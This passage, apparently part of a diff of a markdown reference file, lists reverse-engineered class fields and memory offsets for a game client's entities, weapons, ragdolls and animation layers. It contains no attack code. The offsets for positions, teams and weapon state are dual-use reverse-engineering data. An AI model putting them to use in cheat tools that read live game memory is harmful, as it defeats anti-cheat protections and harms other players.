7].parentIndex: Int, + m_ragdoll.boneIndex: Int, +} +``` + +### Offsets + +``` +CRagdoll!0x0000 m_ragdoll.listCount +CRagdoll!0x0004 m_ragdoll.allowStretch +CRagdoll!0x0008 m_ragdoll.list[0 + 0].originParentSpace +CRagdoll!0x0018 m_ragdoll.list[0 + 0].pObject +CRagdoll!0x0020 m_ragdoll.list[0 + 0].pConstraint +CRagdoll!0x0028 m_ragdoll.list[0 + 0].parentIndex +CRagdoll!0x0030 m_ragdoll.list[0 + 1].originParentSpace +CRagdoll!0x0040 m_ragdoll.list[0 + 1].pObject +CRagdoll!0x0048 m_ragdoll.list[0 + 1].pConstraint +CRagdoll!0x0050 m_ragdoll.list[0 + 1].parentIndex +CRagdoll!0x0058 m_ragdoll.list[0 + 2].originParentSpace +CRagdoll!0x0068 m_ragdoll.list[0 + 2].pObject +CRagdoll!0x0070 m_ragdoll.list[0 + 2].pConstraint +CRagdoll!0x0078 m_ragdoll.list[0 + 2].parentIndex +CRagdoll!0x0080 m_ragdoll.list[0 + 3].originParentSpace +CRagdoll!0x0090 m_ragdoll.list[0 + 3].pObject +CRagdoll!0x0098 m_ragdoll.list[0 + 3].pConstraint +CRagdoll!0x00a0 m_ragdoll.list[0 + 3].parentIndex +CRagdoll!0x00a8 m_ragdoll.list[0 + 4].originParentSpace +CRagdoll!0x00b8 m_ragdoll.list[0 + 4].pObject +CRagdoll!0x00c0 m_ragdoll.list[0 + 4].pConstraint +CRagdoll!0x00c8 m_ragdoll.list[0 + 4].parentIndex +CRagdoll!0x00d0 m_ragdoll.list[0 + 5].originParentSpace +CRagdoll!0x00e0 m_ragdoll.list[0 + 5].pObject +CRagdoll!0x00e8 m_ragdoll.list[0 + 5].pConstraint +CRagdoll!0x00f0 m_ragdoll.list[0 + 5].parentIndex +CRagdoll!0x00f8 m_ragdoll.list[0 + 6].originParentSpace +CRagdoll!0x0108 m_ragdoll.list[0 + 6].pObject +CRagdoll!0x0110 m_ragdoll.list[0 + 6].pConstraint +CRagdoll!0x0118 m_ragdoll.list[0 + 6].parentIndex +CRagdoll!0x0120 m_ragdoll.list[0 + 7].originParentSpace +CRagdoll!0x0130 m_ragdoll.list[0 + 7].pObject +CRagdoll!0x0138 m_ragdoll.list[0 + 7].pConstraint +CRagdoll!0x0140 m_ragdoll.list[0 + 7].parentIndex +CRagdoll!0x0148 m_ragdoll.list[8 + 0].originParentSpace +CRagdoll!0x0158 m_ragdoll.list[8 + 0].pObject +CRagdoll!0x0160 m_ragdoll.list[8 + 0].pConstraint +CRagdoll!0x0168 m_ragdoll.list[8 + 0].parentIndex +CRagdoll!0x0170 m_ragdoll.list[8 + 1].originParentSpace +CRagdoll!0x0180 m_ragdoll.list[8 + 1].pObject +CRagdoll!0x0188 m_ragdoll.list[8 + 1].pConstraint +CRagdoll!0x0190 m_ragdoll.list[8 + 1].parentIndex +CRagdoll!0x0198 m_ragdoll.list[8 + 2].originParentSpace +CRagdoll!0x01a8 m_ragdoll.list[8 + 2].pObject +CRagdoll!0x01b0 m_ragdoll.list[8 + 2].pConstraint +CRagdoll!0x01b8 m_ragdoll.list[8 + 2].parentIndex +CRagdoll!0x01c0 m_ragdoll.list[8 + 3].originParentSpace +CRagdoll!0x01d0 m_ragdoll.list[8 + 3].pObject +CRagdoll!0x01d8 m_ragdoll.list[8 + 3].pConstraint +CRagdoll!0x01e0 m_ragdoll.list[8 + 3].parentIndex +CRagdoll!0x01e8 m_ragdoll.list[8 + 4].originParentSpace +CRagdoll!0x01f8 m_ragdoll.list[8 + 4].pObject +CRagdoll!0x0200 m_ragdoll.list[8 + 4].pConstraint +CRagdoll!0x0208 m_ragdoll.list[8 + 4].parentIndex +CRagdoll!0x0210 m_ragdoll.list[8 + 5].originParentSpace +CRagdoll!0x0220 m_ragdoll.list[8 + 5].pObject +CRagdoll!0x0228 m_ragdoll.list[8 + 5].pConstraint +CRagdoll!0x0230 m_ragdoll.list[8 + 5].parentIndex +CRagdoll!0x0238 m_ragdoll.list[8 + 6].originParentSpace +CRagdoll!0x0248 m_ragdoll.list[8 + 6].pObject +CRagdoll!0x0250 m_ragdoll.list[8 + 6].pConstraint +CRagdoll!0x0258 m_ragdoll.list[8 + 6].parentIndex +CRagdoll!0x0260 m_ragdoll.list[8 + 7].originParentSpace +CRagdoll!0x0270 m_ragdoll.list[8 + 7].pObject +CRagdoll!0x0278 m_ragdoll.list[8 + 7].pConstraint +CRagdoll!0x0280 m_ragdoll.list[8 + 7].parentIndex +CRagdoll!0x0288 m_ragdoll.list[16 + 0].originParentSpace +CRagdoll!0x0298 m_ragdoll.list[16 + 0].pObject +CRagdoll!0x02a0 m_ragdoll.list[16 + 0].pConstraint +CRagdoll!0x02a8 m_ragdoll.list[16 + 0].parentIndex +CRagdoll!0x02b0 m_ragdoll.list[16 + 1].originParentSpace +CRagdoll!0x02c0 m_ragdoll.list[16 + 1].pObject +CRagdoll!0x02c8 m_ragdoll.list[16 + 1].pConstraint +CRagdoll!0x02d0 m_ragdoll.list[16 + 1].parentIndex +CRagdoll!0x02d8 m_ragdoll.list[16 + 2].originParentSpace +CRagdoll!0x02e8 m_ragdoll.list[16 + 2].pObject +CRagdoll!0x02f0 m_ragdoll.list[16 + 2].pConstraint +CRagdoll!0x02f8 m_ragdoll.list[16 + 2].parentIndex +CRagdoll!0x0300 m_ragdoll.list[16 + 3].originParentSpace +CRagdoll!0x0310 m_ragdoll.list[16 + 3].pObject +CRagdoll!0x0318 m_ragdoll.list[16 + 3].pConstraint +CRagdoll!0x0320 m_ragdoll.list[16 + 3].parentIndex +CRagdoll!0x0328 m_ragdoll.list[16 + 4].originParentSpace +CRagdoll!0x0338 m_ragdoll.list[16 + 4].pObject +CRagdoll!0x0340 m_ragdoll.list[16 + 4].pConstraint +CRagdoll!0x0348 m_ragdoll.list[16 + 4].parentIndex +CRagdoll!0x0350 m_ragdoll.list[16 + 5].originParentSpace +CRagdoll!0x0360 m_ragdoll.list[16 + 5].pObject +CRagdoll!0x0368 m_ragdoll.list[16 + 5].pConstraint +CRagdoll!0x0370 m_ragdoll.list[16 + 5].parentIndex +CRagdoll!0x0378 m_ragdoll.list[16 + 6].originParentSpace +CRagdoll!0x0388 m_ragdoll.list[16 + 6].pObject +CRagdoll!0x0390 m_ragdoll.list[16 + 6].pConstraint +CRagdoll!0x0398 m_ragdoll.list[16 + 6].parentIndex +CRagdoll!0x03a0 m_ragdoll.list[16 + 7].originParentSpace +CRagdoll!0x03b0 m_ragdoll.list[16 + 7].pObject +CRagdoll!0x03b8 m_ragdoll.list[16 + 7].pConstraint +CRagdoll!0x03c0 m_ragdoll.list[16 + 7].parentIndex +CRagdoll!0x03c8 m_ragdoll.list[24 + 0].originParentSpace +CRagdoll!0x03d8 m_ragdoll.list[24 + 0].pObject +CRagdoll!0x03e0 m_ragdoll.list[24 + 0].pConstraint +CRagdoll!0x03e8 m_ragdoll.list[24 + 0].parentIndex +CRagdoll!0x03f0 m_ragdoll.list[24 + 1].originParentSpace +CRagdoll!0x0400 m_ragdoll.list[24 + 1].pObject +CRagdoll!0x0408 m_ragdoll.list[24 + 1].pConstraint +CRagdoll!0x0410 m_ragdoll.list[24 + 1].parentIndex +CRagdoll!0x0418 m_ragdoll.list[24 + 2].originParentSpace +CRagdoll!0x0428 m_ragdoll.list[24 + 2].pObject +CRagdoll!0x0430 m_ragdoll.list[24 + 2].pConstraint +CRagdoll!0x0438 m_ragdoll.list[24 + 2].parentIndex +CRagdoll!0x0440 m_ragdoll.list[24 + 3].originParentSpace +CRagdoll!0x0450 m_ragdoll.list[24 + 3].pObject +CRagdoll!0x0458 m_ragdoll.list[24 + 3].pConstraint +CRagdoll!0x0460 m_ragdoll.list[24 + 3].parentIndex +CRagdoll!0x0468 m_ragdoll.list[24 + 4].originParentSpace +CRagdoll!0x0478 m_ragdoll.list[24 + 4].pObject +CRagdoll!0x0480 m_ragdoll.list[24 + 4].pConstraint +CRagdoll!0x0488 m_ragdoll.list[24 + 4].parentIndex +CRagdoll!0x0490 m_ragdoll.list[24 + 5].originParentSpace +CRagdoll!0x04a0 m_ragdoll.list[24 + 5].pObject +CRagdoll!0x04a8 m_ragdoll.list[24 + 5].pConstraint +CRagdoll!0x04b0 m_ragdoll.list[24 + 5].parentIndex +CRagdoll!0x04b8 m_ragdoll.list[24 + 6].originParentSpace +CRagdoll!0x04c8 m_ragdoll.list[24 + 6].pObject +CRagdoll!0x04d0 m_ragdoll.list[24 + 6].pConstraint +CRagdoll!0x04d8 m_ragdoll.list[24 + 6].parentIndex +CRagdoll!0x04e0 m_ragdoll.list[24 + 7].originParentSpace +CRagdoll!0x04f0 m_ragdoll.list[24 + 7].pObject +CRagdoll!0x04f8 m_ragdoll.list[24 + 7].pConstraint +CRagdoll!0x0500 m_ragdoll.list[24 + 7].parentIndex +CRagdoll!0x0508 m_ragdoll.boneIndex +``` +
+
+class CTurret extends C_BaseAnimatingOverlay + +``` +{ + m_aimAngle: Float, + m_minConeAngle: Float, + m_maxConeAngle: Float, +} +``` + +### Offsets + +``` +CTurret!0x19bc m_aimAngle +CTurret!0x19c8 m_minConeAngle +CTurret!0x19d4 m_maxConeAngle +``` +
+
+class CWeaponX extends C_BaseAnimating + +``` +{ + m_localOrigin: Vector, + m_nNextThinkTick: Int, + m_SequenceTransitioner: C_SequenceTransitioner, + m_weaponOwner: EHANDLE, + m_lastPrimaryAttack: Time, + m_nextReadyTime: Time, + m_nextPrimaryAttackTime: Time, + m_attackTimeThisFrame: Time, + m_worldModelIndexOverride: Int, + m_iWorldModelIndex: Int, + m_holsterModelIndex: Int, + m_droppedModelIndex: Int, + m_nIdealSequence: Int, + m_IdealActivity: Int, + m_weaponActivity: Int, + m_ActiveState: Int, + m_ammoInClip: Int, + m_ammoInStockpile: Int, + m_lifetimeShots: Int, + m_flTimeWeaponIdle: Time, + m_weapState: Int, + m_discarded: Bool, + m_bInReload: Bool, + m_tossRelease: Int, + m_customActivity: Int, + m_customActivitySequence: Int, + m_customActivityOwner: EHANDLE, + m_customActivityEndTime: Time, + m_customActivityFlags: Char, + m_playerData: WeaponPlayerData, + m_targetingLaserEnabledScript: Bool, + m_needsReloadCheck: Bool, + m_needsEmptyCycleCheck: Bool, + m_skinOverride: Int, + m_skinOverrideIsValid: Bool, + m_chargeStartTime: Time, + m_chargeEndTime: Time, + m_lastChargeFrac: Float, + m_lastRegenTime: Time, + m_cooldownEndTime: Time, + m_stockPileWasDraining: Bool, + m_weaponIsCharging: Bool, + m_weaponChargeLevelIncreasedAnimPlaying: Bool, + m_lastChargeLevel: Int, + m_chargeEnergyDepleteStepCounter: Int, + m_burstFireCount: Int, + m_burstFireIndex: Int, + m_shotIndexForSpread: Int, + m_shotCount: Int, + m_sustainedDischargeEndTime: Time, + m_sustainedLaserCurrentSpread: Float, + m_sustainedDischargeIsInPrimaryAttack: Bool, + m_sustainedLaserNextRandomSeed: Char, + m_modBitfieldFromPlayer: Int, + m_modBitfieldInternal: Int, + m_modBitfieldCurrent: Int, + m_curSharedEnergyCost: Int, + m_grappleWeaponNeedsDryfire: Bool, + m_scriptActivated: Bool, + m_flNextEmptySoundTime: Float, + m_bRemoveable: Bool, +} +``` + +### Offsets + +``` +CWeaponX!0x0158 m_localOrigin +CWeaponX!0x0554 m_nNextThinkTick +CWeaponX!0x0c00 m_SequenceTransitioner +CWeaponX!0x1600 m_weaponOwner +CWeaponX!0x1604 m_lastPrimaryAttack +CWeaponX!0x1608 m_nextReadyTime +CWeaponX!0x160c m_nextPrimaryAttackTime +CWeaponX!0x1610 m_attackTimeThisFrame +CWeaponX!0x1614 m_worldModelIndexOverride +CWeaponX!0x1618 m_iWorldModelIndex +CWeaponX!0x161c m_holsterModelIndex +CWeaponX!0x1620 m_droppedModelIndex +CWeaponX!0x1624 m_nIdealSequence +CWeaponX!0x1628 m_IdealActivity +CWeaponX!0x162c m_weaponActivity +CWeaponX!0x1630 m_ActiveState +CWeaponX!0x1634 m_ammoInClip +CWeaponX!0x1638 m_ammoInStockpile +CWeaponX!0x163c m_lifetimeShots +CWeaponX!0x1640 m_flTimeWeaponIdle +CWeaponX!0x1644 m_weapState +CWeaponX!0x1649 m_discarded +CWeaponX!0x164a m_bInReload +CWeaponX!0x1650 m_tossRelease +CWeaponX!0x1654 m_customActivity +CWeaponX!0x1658 m_customActivitySequence +CWeaponX!0x165c m_customActivityOwner +CWeaponX!0x1660 m_customActivityEndTime +CWeaponX!0x1664 m_customActivityFlags +CWeaponX!0x1668 m_playerData +CWeaponX!0x1754 m_targetingLaserEnabledScript +CWeaponX!0x1755 m_needsReloadCheck +CWeaponX!0x1756 m_needsEmptyCycleCheck +CWeaponX!0x1758 m_skinOverride +CWeaponX!0x175c m_skinOverrideIsValid +CWeaponX!0x1760 m_chargeStartTime +CWeaponX!0x1764 m_chargeEndTime +CWeaponX!0x1768 m_lastChargeFrac +CWeaponX!0x176c m_lastRegenTime +CWeaponX!0x1770 m_cooldownEndTime +CWeaponX!0x1774 m_stockPileWasDraining +CWeaponX!0x1775 m_weaponIsCharging +CWeaponX!0x1776 m_weaponChargeLevelIncreasedAnimPlaying +CWeaponX!0x1778 m_lastChargeLevel +CWeaponX!0x177c m_chargeEnergyDepleteStepCounter +CWeaponX!0x1780 m_burstFireCount +CWeaponX!0x1784 m_burstFireIndex +CWeaponX!0x1788 m_shotIndexForSpread +CWeaponX!0x178c m_shotCount +CWeaponX!0x1790 m_sustainedDischargeEndTime +CWeaponX!0x1794 m_sustainedLaserCurrentSpread +CWeaponX!0x1798 m_sustainedDischargeIsInPrimaryAttack +CWeaponX!0x1799 m_sustainedLaserNextRandomSeed +CWeaponX!0x179c m_modBitfieldFromPlayer +CWeaponX!0x17a0 m_modBitfieldInternal +CWeaponX!0x17a4 m_modBitfieldCurrent +CWeaponX!0x17a8 m_curSharedEnergyCost +CWeaponX!0x17ac m_grappleWeaponNeedsDryfire +CWeaponX!0x17ad m_scriptActivated +CWeaponX!0x2c30 m_flNextEmptySoundTime +CWeaponX!0x2c56 m_bRemoveable +``` +
+
+class C_BaseAnimating extends C_BaseEntity + +``` +{ + m_currentFrame.animCycle: Float, + m_animNetworkFlags: Int, + m_networkAnimActive: Bool, + m_animActive: Bool, + m_animCollisionEnabled: Bool, + m_animRelativeToGroundEnabled: Bool, + m_animPlantingEnabled: Bool, + m_predictedAnimEventData: PredictedAnimEventData, + m_SequenceTransitioner: C_SequenceTransitioner, + m_nSkin: Int, + m_skinMod: Short, + m_nBody: Int, + m_nResetEventsParity: Int, + m_bSequenceFinished: Bool, + m_bSequenceLooped: Bool, + m_bSequenceLoops: Bool, + m_flModelScale: Float, + m_currentFrameBaseAnimating.animStartTime: Float, + m_currentFrameBaseAnimating.animStartCycle: Float, + m_currentFrameBaseAnimating.animPlaybackRate: Float, + m_currentFrameBaseAnimating.animModelIndex: Int, + m_currentFrameBaseAnimating.animSequence: Int, + m_currentFrameBaseAnimating.animSequenceParity: Int, + m_currentFrameBaseAnimating.m_flPoseParameters: Float, +} +``` + +### Offsets + +``` +C_BaseAnimating!0x00c4 m_currentFrame.animCycle +C_BaseAnimating!0x0a68 m_animNetworkFlags +C_BaseAnimating!0x0a6c m_networkAnimActive +C_BaseAnimating!0x0a6e m_animActive +C_BaseAnimating!0x0a6f m_animCollisionEnabled +C_BaseAnimating!0x0a70 m_animRelativeToGroundEnabled +C_BaseAnimating!0x0a71 m_animPlantingEnabled +C_BaseAnimating!0x0b68 m_predictedAnimEventData +C_BaseAnimating!0x0c00 m_SequenceTransitioner +C_BaseAnimating!0x0e88 m_nSkin +C_BaseAnimating!0x0e8c m_skinMod +C_BaseAnimating!0x0e90 m_nBody +C_BaseAnimating!0x0e9c m_nResetEventsParity +C_BaseAnimating!0x0f34 m_bSequenceFinished +C_BaseAnimating!0x0f3c m_bSequenceLooped +C_BaseAnimating!0x0f3d m_bSequenceLoops +C_BaseAnimating!0x0f40 m_flModelScale +C_BaseAnimating!0x0f4c m_currentFrameBaseAnimating.animStartTime +C_BaseAnimating!0x0f50 m_currentFrameBaseAnimating.animStartCycle +C_BaseAnimating!0x0f54 m_currentFrameBaseAnimating.animPlaybackRate +C_BaseAnimating!0x0f5c m_currentFrameBaseAnimating.animModelIndex +C_BaseAnimating!0x0f60 m_currentFrameBaseAnimating.animSequence +C_BaseAnimating!0x0f64 m_currentFrameBaseAnimating.animSequenceParity +C_BaseAnimating!0x0f68 m_currentFrameBaseAnimating.m_flPoseParameters +``` +
+
+class C_BaseAnimatingOverlay extends C_BaseAnimating + +``` +{ + m_AnimOverlay: C_AnimationLayer, + m_AnimOverlayCount: Int, + m_currentFrameAnimatingOverlay.animOverlayIsActive: Bool, + m_currentFrameAnimatingOverlay.animOverlayStartTime: Float, + m_currentFrameAnimatingOverlay.animOverlayStartCycle: Float, + m_currentFrameAnimatingOverlay.animOverlayPlaybackRate: Float, + m_currentFrameAnimatingOverlay.animOverlayModelIndex: Int, + m_currentFrameAnimatingOverlay.animOverlaySequence: Int, + m_currentFrameAnimatingOverlay.animOverlayWeight: Float, + m_currentFrameAnimatingOverlay.animOverlayOrder: Int, + m_currentFrameAnimatingOverlay.animOverlayAnimTime: Float, + m_currentFrameAnimatingOverlay.animOverlayFadeInDuration: Float, + m_currentFrameAnimatingOverlay.animOverlayFadeOutDuration: Float, + m_currentFrameAnimatingOverlay.animOverlayCycle: Float, +} +``` + +### Offsets + +``` +C_BaseAnimatingOverlay!0x1608 m_AnimOverlay +C_BaseAnimatingOverlay!0x16e0 m_AnimOverlayCount +C_BaseAnimatingOverlay!0x1724 m_currentFrameAnimatingOverlay.animOverlayIsActive +C_BaseAnimatingOverlay!0x1730 m_currentFrameAnimatingOverlay.animOverlayStartTime +C_BaseAnimatingOverlay!0x1754 m_currentFrameAnimatingOverlay.animOverlayStartCycle +C_BaseAnimatingOverlay!0x1778 m_currentFrameAnimatingOverlay.animOverlayPlaybackRate +C_BaseAnimatingOverlay!0x179c m_currentFrameAnimatingOverlay.animOverlayModelIndex +C_BaseAnimatingOverlay!0x17c0 m_currentFrameAnimatingOverlay.animOverlaySequence +C_BaseAnimatingOverlay!0x17e4 m_currentFrameAnimatingOverlay.animOverlayWeight +C_BaseAnimatingOverlay!0x1808 m_currentFrameAnimatingOverlay.animOverlayOrder +C_BaseAnimatingOverlay!0x182c m_currentFrameAnimatingOverlay.animOverlayAnimTime +C_BaseAnimatingOverlay!0x1850 m_currentFrameAnimatingOverlay.animOverlayFadeInDuration +C_BaseAnimatingOverlay!0x1874 m_currentFrameAnimatingOverlay.animOverlayFadeOutDuration +C_BaseAnimatingOverlay!0x1898 m_currentFrameAnimatingOverlay.animOverlayCycle +``` +
+
+class C_BaseCombatCharacter extends C_BaseAnimatingOverlay + +``` +{ + m_currentFrame.weaponGettingSwitchedOut: EHANDLE, + m_currentFrame.showActiveWeapon3p: Bool, + m_deathVelocity: Float, + m_phaseShiftFlags: Int, + m_flNextAttack: Time, + m_lastFiredTime: Time, + m_lastFiredWeapon: EHANDLE, + m_raiseFromMeleeEndTime: Time, + m_sharedEnergyCount: Int, + m_sharedEnergyTotal: Int, + m_sharedEnergyLockoutThreshold: Int, + m_lastSharedEnergyRegenTime: Time, + m_sharedEnergyRegenRate: Time, + m_sharedEnergyRegenDelay: Float, + m_lastSharedEnergyTakeTime: Time, + m_inventory: WeaponInventory_Client, + m_selectedWeapons: Char, + m_latestPrimaryWeapons: EHANDLE, + m_latestPrimaryWeaponsIndexZeroOrOne: EHANDLE, + m_latestNonOffhandWeapons: Char, + m_selectedOffhands: Char, + m_selectedOffhandsPendingHybridAction: Char, + m_lastCycleSlot: Char, + m_latestMeleeWeapon: EHANDLE, + m_weaponPermission: Int, + m_weaponDelayEnableTime: Time, + m_weaponDisabledInScript: Bool, + m_weaponDisabledFlags: Char, + m_weaponTypeDisabledFlags: Int, + m_weaponTypeDisabledRefCount: Char, + m_hudInfo_visibilityTestAlwaysPasses: Bool, + m_contextAction: Int, + m_phaseShiftTimeStart: Time, + m_phaseShiftTimeEnd: Time, +} +``` + +### Offsets + +``` +C_BaseCombatCharacter!0x00c8 m_currentFrame.weaponGettingSwitchedOut +C_BaseCombatCharacter!0x00d0 m_currentFrame.showActiveWeapon3p +C_BaseCombatCharacter!0x0458 m_deathVelocity +C_BaseCombatCharacter!0x0798 m_phaseShiftFlags +C_BaseCombatCharacter!0x1980 m_flNextAttack +C_BaseCombatCharacter!0x1984 m_lastFiredTime +C_BaseCombatCharacter!0x1988 m_lastFiredWeapon +C_BaseCombatCharacter!0x198c m_raiseFromMeleeEndTime +C_BaseCombatCharacter!0x1990 m_sharedEnergyCount +C_BaseCombatCharacter!0x1994 m_sharedEnergyTotal +C_BaseCombatCharacter!0x1998 m_sharedEnergyLockoutThreshold +C_BaseCombatCharacter!0x199c m_lastSharedEnergyRegenTime +C_BaseCombatCharacter!0x19a0 m_sharedEnergyRegenRate +C_BaseCombatCharacter!0x19a4 m_sharedEnergyRegenDelay +C_BaseCombatCharacter!0x19a8 m_lastSharedEnergyTakeTime +C_BaseCombatCharacter!0x19b0 m_inventory +C_BaseCombatCharacter!0x1a08 m_selectedWeapons +C_BaseCombatCharacter!0x1a0c m_latestPrimaryWeapons +C_BaseCombatCharacter!0x1a14 m_latestPrimaryWeaponsIndexZeroOrOne +C_BaseCombatCharacter!0x1a1c m_latestNonOffhandWeapons +C_BaseCombatCharacter!0x1a1e m_selectedOffhands +C_BaseCombatCharacter!0x1a21 m_selectedOffhandsPendingHybridAction +C_BaseCombatCharacter!0x1a24 m_lastCycleSlot +C_BaseCombatCharacter!0x1a28 m_latestMeleeWeapon +C_BaseCombatCharacter!0x1a2c m_weaponPermission +C_BaseCombatCharacter!0x1a30 m_weaponDelayEnableTime +C_BaseCombatCharacter!0x1a34 m_weaponDisabledInScript +C_BaseCombatCharacter!0x1a59 m_weaponDisabledFlags +C_BaseCombatCharacter!0x1a5c m_weaponTypeDisabledFlags +C_BaseCombatCharacter!0x1a60 m_weaponTypeDisabledRefCount +C_BaseCombatCharacter!0x1a69 m_hudInfo_visibilityTestAlwaysPasses +C_BaseCombatCharacter!0x1a7c m_contextAction +C_BaseCombatCharacter!0x1aa8 m_phaseShiftTimeStart +C_BaseCombatCharacter!0x1aac m_phaseShiftTimeEnd +``` +
+
+class C_BaseEntity + +``` +{ + m_iEFlags: Int, + m_fFlags: Int, + m_currentFrame.modelIndex: Short, + m_currentFrame.viewOffset: Vector, + m_vecAngVelocity: Vector, + m_angAbsRotation: Vector, + m_vecAbsVelocity: Vector, + m_vecAbsOrigin: Vector, + m_localOrigin: Vector, + m_localAngles: Vector, + m_flGravity: Float, + m_flProxyRandomValue: Float, + m_hGroundEntity: EHANDLE, + m_flMaxspeed: Float, + m_visibilityFlags: Int, + m_fEffects: Int, + m_iTeamNum: Int, + m_passThroughFlags: Int, + m_passThroughThickness: Int, + m_passThroughDirection: Float, + m_deathVelocity: Vector, + m_vecVelocity: Vector, + m_angNetworkAngles: Vector, + m_flFriction: Float, + m_hOwnerEntity: EHANDLE, + m_bRenderWithViewModels: Bool, + m_nRenderFX: Char, + m_nRenderMode: Char, + m_MoveType: Char, + m_MoveCollide: Char, + m_Collision: CCollisionProperty, +} +``` + +### Offsets + +``` +C_BaseEntity!0x0058 m_iEFlags +C_BaseEntity!0x0098 m_fFlags +C_BaseEntity!0x00a8 m_currentFrame.modelIndex +C_BaseEntity!0x00b8 m_currentFrame.viewOffset +C_BaseEntity!0x0128 m_vecAngVelocity +C_BaseEntity!0x0134 m_angAbsRotation +C_BaseEntity!0x0140 m_vecAbsVelocity +C_BaseEntity!0x014c m_vecAbsOrigin +C_BaseEntity!0x0158 m_localOrigin +C_BaseEntity!0x0164 m_localAngles +C_BaseEntity!0x0408 m_flGravity +C_BaseEntity!0x040c m_flProxyRandomValue +C_BaseEntity!0x041c m_hGroundEntity +C_BaseEntity!0x0424 m_flMaxspeed +C_BaseEntity!0x0428 m_visibilityFlags +C_BaseEntity!0x042c m_fEffects +C_BaseEntity!0x0430 m_iTeamNum +C_BaseEntity!0x044c m_passThroughFlags +C_BaseEntity!0x0450 m_passThroughThickness +C_BaseEntity!0x0454 m_passThroughDirection +C_BaseEntity!0x0458 m_deathVelocity +C_BaseEntity!0x0464 m_vecVelocity +C_BaseEntity!0x0470 m_angNetworkAngles +C_BaseEntity!0x047c m_flFriction +C_BaseEntity!0x0484 m_hOwnerEntity +C_BaseEntity!0x0488 m_bRenderWithViewModels +C_BaseEntity!0x0489 m_nRenderFX +C_BaseEntity!0x0499 m_nRenderMode +C_BaseEntity!0x049a m_MoveType +C_BaseEntity!0x049b m_MoveCollide +C_BaseEntity!0x04a0 m_Collision +``` +
+
+class C_BaseEntity + +``` +{ + m_ModelName: String, + m_fFlags: Int, + m_angAbsRotation: Vector, + m_vecAbsOrigin: PositionVector, + m_vecPrevAbsOrigin: PositionVector, + m_flGravity: Float, + m_rgflCoordinateFrame: Float, +} +``` + +### Offsets + +``` +C_BaseEntity!0x0030 m_ModelName +C_BaseEntity!0x0098 m_fFlags +C_BaseEntity!0x0134 m_angAbsRotation +C_BaseEntity!0x014c m_vecAbsOrigin +C_BaseEntity!0x03fc m_vecPrevAbsOrigin +C_BaseEntity!0x0408 m_flGravity +C_BaseEntity!0x08b0 m_rgflCoordinateFrame +``` +
+
+class C_BreakableSurface extends C_BaseEntity + +``` +{ + m_nPanelBits: Char, +} +``` + +### Offsets + +``` +C_BreakableSurface!0x0cc8 m_nPanelBits +``` +
+
+class C_ClientRagdoll extends C_BaseEntity + +``` +{ + m_clrRender: Color32, + m_nRenderFX: Char, + m_nRenderMode: Char, + m_pRagdoll: CRagdoll, + m_nSkin: Int, + m_skinMod: Short, + m_nBody: Int, + m_bFadeOut: Bool, + m_bImportant: Bool, + m_flEffectTime: Time, + m_iCurrentFriction: Int, + m_iMinFriction: Int, + m_iMaxFriction: Int, + m_flFrictionModTime: Float, + m_flFrictionTime: Time, + m_iFrictionAnimState: Int, + m_bReleaseRagdoll: Bool, + m_bFadingOut: Bool, + m_flScaleEnd: Float, + m_flScaleTimeStart: Float, + m_flScaleTimeEnd: Float, +} +``` + +### Offsets + +``` +C_ClientRagdoll!0x0050 m_clrRender +C_ClientRagdoll!0x0489 m_nRenderFX +C_ClientRagdoll!0x0499 m_nRenderMode +C_ClientRagdoll!0x0bc8 m_pRagdoll +C_ClientRagdoll!0x0e88 m_nSkin +C_ClientRagdoll!0x0e8c m_skinMod +C_ClientRagdoll!0x0e90 m_nBody +C_ClientRagdoll!0x1600 m_bFadeOut +C_ClientRagdoll!0x1601 m_bImportant +C_ClientRagdoll!0x1604 m_flEffectTime +C_ClientRagdoll!0x1608 m_iCurrentFriction +C_ClientRagdoll!0x160c m_iMinFriction +C_ClientRagdoll!0x1610 m_iMaxFriction +C_ClientRagdoll!0x1614 m_flFrictionModTime +C_ClientRagdoll!0x1618 m_flFrictionTime +C_ClientRagdoll!0x161c m_iFrictionAnimState +C_ClientRagdoll!0x1620 m_bReleaseRagdoll +C_ClientRagdoll!0x1621 m_bFadingOut +C_ClientRagdoll!0x1624 m_flScaleEnd +C_ClientRagdoll!0x164c m_flScaleTimeStart +C_ClientRagdoll!0x1674 m_flScaleTimeEnd +``` +
+
+class C_CrossbowBolt extends C_Projectile + +``` +{ + m_bounceCount: Int, + m_maxBounceCount: Int, + m_doesGrow: Bool, + m_growStartSize: Float, + m_growStage1Tick: Tick, + m_growStage1Size: Float, + m_growStage2Tick: Tick, + m_growStage2Size: Float, + m_growStageFinalTick: Tick, + m_growStageFinalSize: Float, +} +``` + +### Offsets + +``` +C_CrossbowBolt!0x2c80 m_bounceCount +C_CrossbowBolt!0x2c84 m_maxBounceCount +C_CrossbowBolt!0x2c88 m_doesGrow +C_CrossbowBolt!0x2c8c m_growStartSize +C_CrossbowBolt!0x2c90 m_growStage1Tick +C_CrossbowBolt!0x2c94 m_growStage1Size +C_CrossbowBolt!0x2c98 m_growStage2Tick +C_CrossbowBolt!0x2c9c m_growStage2Size +C_CrossbowBolt!0x2ca0 m_growStageFinalTick +C_CrossbowBolt!0x2ca4 m_growStageFinalSize +``` +
+
+class C_DynamicProp extends C_BaseEntity + +``` +{ + m_bClientSide: Bool, +} +``` + +### Offsets + +``` +C_DynamicProp!0x1600 m_bClientSide +``` +
+
+class C_EnvWindShared + +``` +{ + m_flStartTime: Float, + m_iWindSeed: Int, + m_iMinWind: Int, + m_iMaxWind: Int, + m_windRadius: Int, + m_iMinGust: Int, + m_iMaxGust: Int, + m_flMinGustDelay: Float, + m_flMaxGustDelay: Float, + m_flGustDuration: Float, + m_iGustDirChange: Int, + m_location: Vector, + m_iszGustSound: Int, + m_iWindDir: Int, + m_flWindSpeed: Float, + m_currentWindVector: Vector, + m_CurrentSwayVector: Vector, + m_PrevSwayVector: Vector, + m_iInitialWindDir: Int, + m_flInitialWindSpeed: Float, + m_flVariationTime: Float, + m_flSimTime: Float, + m_flSwitchTime: Float, + m_flAveWindSpeed: Float, + m_bGusting: Bool, + m_flWindAngleVariation: Float, + m_flWindSpeedVariation: Float, + m_iEntIndex: Int, + m_Stream: Void, + m_WindVariationStream: Void, + m_WindAveQueue: Void, + m_WindVariationQueue: Void, +} +``` + +### Offsets + +``` +C_EnvWindShared!0x0008 m_flStartTime +C_EnvWindShared!0x000c m_iWindSeed +C_EnvWindShared!0x0010 m_iMinWind +C_EnvWindShared!0x0014 m_iMaxWind +C_EnvWindShared!0x0018 m_windRadius +C_EnvWindShared!0x001c m_iMinGust +C_EnvWindShared!0x0020 m_iMaxGust +C_EnvWindShared!0x0024 m_flMinGustDelay +C_EnvWindShared!0x0028 m_flMaxGustDelay 